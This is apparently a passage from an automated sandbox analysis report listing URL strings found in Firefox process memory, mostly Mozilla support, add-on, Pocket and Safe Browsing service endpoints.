Source: firefox.exe, 00000010.00000003.3236863796.000001A8C06F0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://redux.js.org/api-reference/store#subscribe(listener)
Source: firefox.exe, 00000010.00000002.3304042772.000001A8A79C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000010.00000002.3336939375.000001A8B74B8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000002.3286589143.0000029D56150000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3285141971.000002B9C29B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3284580790.000001F42CB60000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://relay.firefox.com/accounts/profile/?utm_medium=firefox-desktop&utm_source=modal&utm_campaign
Source: firefox.exe, 00000010.00000002.3304042772.000001A8A79C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.3286589143.0000029D56150000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3285141971.000002B9C29B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3284580790.000001F42CB60000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://relay.firefox.com/api/v1/
Source: firefox.exe, 00000010.00000002.3304042772.000001A8A79C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.3286589143.0000029D56150000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3285141971.000002B9C29B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3284580790.000001F42CB60000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.google.com/safebrowsing/diagnostic?site=
Source: firefox.exe, 00000010.00000002.3304042772.000001A8A79C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.3286589143.0000029D56150000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3285141971.000002B9C29B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3284580790.000001F42CB60000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.google.com/safebrowsing/downloads?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%
Source: firefox.exe, 00000010.00000002.3336939375.000001A8B74B8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://safebrowsing.google.com/safebrowsing/downloads?client=SAFEBROWSING_ID&appver=118.0&pver=2.2&
Source: firefox.exe, 00000010.00000002.3304042772.000001A8A79C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.3286589143.0000029D56150000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3285141971.000002B9C29B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3284580790.000001F42CB60000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.google.com/safebrowsing/gethash?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%&p
Source: firefox.exe, 00000010.00000003.3267294438.000001A8B9270000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://safebrowsing.google.com/safebrowsing/gethash?client=SAFEBROWSING_ID&appver=118.0&pver=2.2
Source: firefox.exe, 00000010.00000002.3304042772.000001A8A79C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.3286589143.0000029D56150000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3285141971.000002B9C29B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3284580790.000001F42CB60000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.googleapis.com/v4/fullHashes:find?$ct=application/x-protobuf&key=%GOOGLE_SAFEBR
Source: firefox.exe, 00000010.00000002.3336939375.000001A8B74B8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://safebrowsing.googleapis.com/v4/fullHashes:find?$ct=application/x-protobuf&key=AIzaSyC7jsptDS
Source: firefox.exe, 00000010.00000002.3304042772.000001A8A79C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.3286589143.0000029D56150000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3285141971.000002B9C29B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3284580790.000001F42CB60000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.googleapis.com/v4/threatHits?$ct=application/x-protobuf&key=%GOOGLE_SAFEBROWSIN
Source: firefox.exe, 00000010.00000002.3304042772.000001A8A79C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.3286589143.0000029D56150000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3285141971.000002B9C29B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3284580790.000001F42CB60000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.googleapis.com/v4/threatListUpdates:fetch?$ct=application/x-protobuf&key=%GOOGL
Source: firefox.exe, 00000010.00000002.3336939375.000001A8B74B8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://safebrowsing.googleapis.com/v4/threatListUpdates:fetch?$ct=application/x-protobuf&key=AIzaSy
Source: firefox.exe, 00000010.00000002.3304042772.000001A8A79C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.3286589143.0000029D56150000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3285141971.000002B9C29B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3284580790.000001F42CB60000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://sb-ssl.google.com/safebrowsing/clientreport/download?key=%GOOGLE_SAFEBROWSING_API_KEY%
Source: firefox.exe, 00000010.00000002.3302124352.000001A8A5F03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000002.3316913295.000001A8B4995000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000002.3314397385.000001A8B3303000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://screenshots.firefox.com
Source: firefox.exe, 00000010.00000003.3048393713.000001A8B6D36000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://screenshots.firefox.com/
Source: firefox.exe, 00000010.00000002.3314397385.000001A8B3373000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://screenshots.firefox.com/shims/rambler-authenticator.js
Source: firefox.exe, 00000010.00000002.3314397385.000001A8B3373000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://screenshots.firefox.com/shims/rambler-authenticator.jsinternal:privateBrowsingAllowedshims/a
Source: firefox.exe, 00000010.00000002.3314397385.000001A8B3303000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://screenshots.firefox.combrowser.handlers.migrationsbrowser.tabs.drawInTitlebarSHUTDOWN_CACHE_
Source: firefox.exe, 00000010.00000003.3125375221.000001A8B7F39000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://searchfox.org/mozilla-central/source/toolkit/components/search/SearchUtils.jsm#145-152
Source: firefox.exe, 00000010.00000002.3304042772.000001A8A79C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.3286589143.0000029D56150000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3285141971.000002B9C29B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3284580790.000001F42CB60000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/abuse/report/addon/
Source: firefox.exe, 00000010.00000002.3327834513.000001A8B6A25000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/addons/addon
Source: firefox.exe, 00000010.00000002.3304042772.000001A8A79C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.3286589143.0000029D56150000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3285141971.000002B9C29B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3284580790.000001F42CB60000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/addons/addon/
Source: firefox.exe, 00000010.00000002.3304042772.000001A8A79C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.3286589143.0000029D56150000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3285141971.000002B9C29B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3284580790.000001F42CB60000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/addons/language-tools/?app=firefox&type=language&appversi
Source: firefox.exe, 00000010.00000002.3304042772.000001A8A79C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.3286589143.0000029D56150000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3285141971.000002B9C29B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3284580790.000001F42CB60000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/addons/search/?guid=%IDS%&lang=%LOCALE%
Source: firefox.exe, 00000010.00000002.3304042772.000001A8A79C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.3286589143.0000029D56150000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3285141971.000002B9C29B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3284580790.000001F42CB60000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/discovery/?lang=%LOCALE%&edition=%DISTRIBUTION%
Source: firefox.exe, 00000010.00000002.3304042772.000001A8A79C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.3286589143.0000029D56150000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3285141971.000002B9C29B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3284580790.000001F42CB60000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v5/addons/browser-mappings/?browser=%BROWSER%
Source: firefox.exe, 00000010.00000002.3339830804.000001A8B7BEE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://shavar.services.mozilla.com
Source: firefox.exe, 00000010.00000002.3340745234.000001A8B7CA4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://shavar.services.mozilla.com/
Source: firefox.exe, 00000010.00000002.3304042772.000001A8A79C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.3286589143.0000029D56150000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3285141971.000002B9C29B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3284580790.000001F42CB60000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://shavar.services.mozilla.com/downloads?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%&pver=2.2
Source: firefox.exe, 00000010.00000002.3340745234.000001A8B7CAB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000002.3314397385.000001A8B3303000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.3235000171.000001A8C38C9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://shavar.services.mozilla.com/downloads?client=navclient-auto-ffox&appver=118.0&pver=2.2
Source: firefox.exe, 00000010.00000002.3304042772.000001A8A79C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.3286589143.0000029D56150000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3285141971.000002B9C29B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3284580790.000001F42CB60000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://shavar.services.mozilla.com/gethash?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%&pver=2.2
Source: firefox.exe, 00000010.00000002.3314397385.000001A8B3303000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://shavar.services.mozilla.com/gethash?client=navclient-auto-ffox&appver=118.0&pver=2.2
Source: firefox.exe, 00000010.00000002.3314397385.000001A8B3303000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://smartblock.firefox.etp/facebook.svg
Source: firefox.exe, 00000010.00000002.3314397385.000001A8B3303000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://smartblock.firefox.etp/play.svg
Source: firefox.exe, 00000010.00000002.3304042772.000001A8A79C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.3286589143.0000029D56150000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3285141971.000002B9C29B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3284580790.000001F42CB60000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://snippets.cdn.mozilla.net/%STARTPAGE_VERSION%/%NAME%/%VERSION%/%APPBUILDID%/%BUILD_TARGET%/%L
Source: firefox.exe, 00000010.00000002.3340745234.000001A8B7CA4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.3239633365.000001A8C31DE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com
Source: firefox.exe, 00000010.00000003.3236109486.000001A8C33BE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3285942438.000002B9C2B12000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3285380485.000001F42CD13000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/
Source: firefox.exe, 00000010.00000002.3314397385.000001A8B33DD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/Endpoint
Source: firefox.exe, 00000010.00000003.3236109486.000001A8C33BE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/spocs
Source: firefox.exe, 00000010.00000003.3239864513.000001A8BFFE2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000002.3320702661.000001A8B617A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.3236863796.000001A8C06C7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3285942438.000002B9C2BBA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3285380485.000001F42CDF4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/user
Source: firefox.exe, 00000010.00000002.3314397385.000001A8B3303000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://static.adsafeprotected.com/firefox-etp-js
Source: firefox.exe, 00000010.00000003.3270733582.000001A8B8613000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.3108722427.000001A8B86B4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.3270733582.000001A8B86B4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.3108722427.000001A8B861A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.3270733582.000001A8B861A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000002.3333256582.000001A8B7089000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000002.3314397385.000001A8B3303000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://static.adsafeprotected.com/firefox-etp-pixel
Source: firefox.exe, 00000010.00000002.3314397385.000001A8B3303000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://static.adsafeprotected.com/firefox-etp-pixelC:
Source: firefox.exe, 00000010.00000002.3302124352.000001A8A5F03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000002.3316913295.000001A8B4995000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000002.3314397385.000001A8B3303000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org
Source: firefox.exe, 00000010.00000002.3304042772.000001A8A79C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.3286589143.0000029D56150000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3285141971.000002B9C29B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3284580790.000001F42CB60000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/
Source: firefox.exe, 00000010.00000002.3304042772.000001A8A79C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.3286589143.0000029D56150000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3285141971.000002B9C29B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3284580790.000001F42CB60000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/cross-site-tracking-report
Source: firefox.exe, 00000010.00000002.3304042772.000001A8A79C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.3286589143.0000029D56150000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3285141971.000002B9C29B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3284580790.000001F42CB60000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/cryptominers-report
Source: firefox.exe, 00000010.00000002.3304042772.000001A8A79C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.3286589143.0000029D56150000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3285141971.000002B9C29B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3284580790.000001F42CB60000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/fingerprinters-report
Source: firefox.exe, 00000010.00000002.3304042772.000001A8A79C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.3286589143.0000029D56150000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3285141971.000002B9C29B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3284580790.000001F42CB60000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/firefox-relay-integration
Source: firefox.exe, 00000010.00000002.3304042772.000001A8A79C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.3286589143.0000029D56150000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3285141971.000002B9C29B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3284580790.000001F42CB60000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/password-manager-report
Source: firefox.exe, 00000010.00000002.3304042772.000001A8A79C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.3286589143.0000029D56150000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3285141971.000002B9C29B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3284580790.000001F42CB60000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/search-engine-removal
Source: firefox.exe, 00000010.00000002.3304042772.000001A8A79C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.3286589143.0000029D56150000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3285141971.000002B9C29B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3284580790.000001F42CB60000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/send-tab
Source: firefox.exe, 00000010.00000002.3304042772.000001A8A79C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.3286589143.0000029D56150000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3285141971.000002B9C29B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3284580790.000001F42CB60000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/shield
Source: firefox.exe, 00000010.00000002.3304042772.000001A8A79C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.3286589143.0000029D56150000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3285141971.000002B9C29B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3284580790.000001F42CB60000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/social-media-tracking-report
Source: firefox.exe, 00000010.00000002.3314397385.000001A8B3373000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/switching-devices?utm_source=panel-def
Source: firefox.exe, 00000010.00000002.3314397385.000001A8B3373000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/switching-devices?utm_source=spotlight
Source: firefox.exe, 00000010.00000002.3304042772.000001A8A79C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.3286589143.0000029D56150000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3285141971.000002B9C29B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3284580790.000001F42CB60000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/tracking-content-report
Source: firefox.exe, 00000010.00000003.3106604957.000001A8B8EC8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000002.3327834513.000001A8B6A50000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000002.3340745234.000001A8B7CCF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.3269554186.000001A8B8EC8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.3251943364.000001A8B8EC8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/118.0.1/WINNT/en-US/
Source: firefox.exe, 00000010.00000003.3234228250.000001A8C3AAB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/118.0.1/WINNT/en-US/firefox-relay-integration
Source: firefox.exe, 00000010.00000002.3304042772.000001A8A79C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000010.00000002.3313236547.000001A8B3203000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000002.3330787150.000001A8B6F9C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000002.3336939375.000001A8B74A5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000002.3343255794.000001A8B7E07000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.3273669972.000001A8B7ECE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000002.3314397385.000001A8B3373000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000002.3328304158.000001A8B6B21000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000002.3286589143.0000029D56150000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3285141971.000002B9C29B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3284580790.000001F42CB60000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/captive-portal
Source: firefox.exe, 00000010.00000002.3339830804.000001A8B7BE4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: firefox.exe, 00000010.00000002.3336679664.000001A8B7240000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/fix-video-audio-problems-firefox-windowsThe
Source: firefox.exe, 00000010.00000002.3336679664.000001A8B7240000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/fix-video-audio-problems-firefox-windowsUse
Source: firefox.exe, 00000010.00000003.3209855011.000001A8B8FAA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.3168304243.000001A8B8F9F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.3276744565.000001A8B8FAB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.3163900240.000001A8B8F71000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/refresh-firefox-reset-add-ons-and-settings
Source: firefox.exe, 00000010.00000003.3241215258.000001A8BE3E3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.3266256409.000001A8BE3EB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/refresh-firefox-reset-add-ons-and-settings2
Source: firefox.exe, 00000010.00000002.3314397385.000001A8B33B0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/website-translation
Source: firefox.exe, 00000010.00000002.3339830804.000001A8B7BE4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.GVegJq3nFfBL
Source: firefox.exe, 00000010.00000002.3314397385.000001A8B3303000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.orgwidget.use-xdg-desktop-portalhttps://truecolors.firefox.comaccount-connec
Source: firefox.exe, 00000010.00000003.3178058975.000001A8C3235000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tc39.github.io/ecma262/#sec-typeof-operator
Source: firefox.exe, 00000010.00000002.3304042772.000001A8A79C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.3286589143.0000029D56150000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3285141971.000002B9C29B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3284580790.000001F42CB60000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://token.services.mozilla.com/1.0/sync/1.5
Source: firefox.exe, 00000010.00000002.3336679664.000001A8B7240000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-2
Source: firefox.exe, 00000010.00000002.3336679664.000001A8B7240000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-3.1
Source: firefox.exe, 00000010.00000002.3336679664.000001A8B7240000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-4
Source: firefox.exe, 00000010.00000002.3336679664.000001A8B7240000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://tools.ietf.org/html/rfc7515#appendix-C)
Source: firefox.exe, 00000010.00000002.3304042772.000001A8A79C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.3286589143.0000029D56150000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3285141971.000002B9C29B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3284580790.000001F42CB60000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://topsites.services.mozilla.com/cid/
Source: firefox.exe, 00000010.00000002.3304042772.000001A8A79C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.3286589143.0000029D56150000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3285141971.000002B9C29B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3284580790.000001F42CB60000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://tracking-protection-issues.herokuapp.com/new
Source: firefox.exe, 00000010.00000002.3316913295.000001A8B49BE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000002.3316913295.000001A8B4995000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000002.3314397385.000001A8B3303000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://truecolors.firefox.com
Source: firefox.exe, 00000010.00000002.3297704058.0000010530930000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://twitter.com
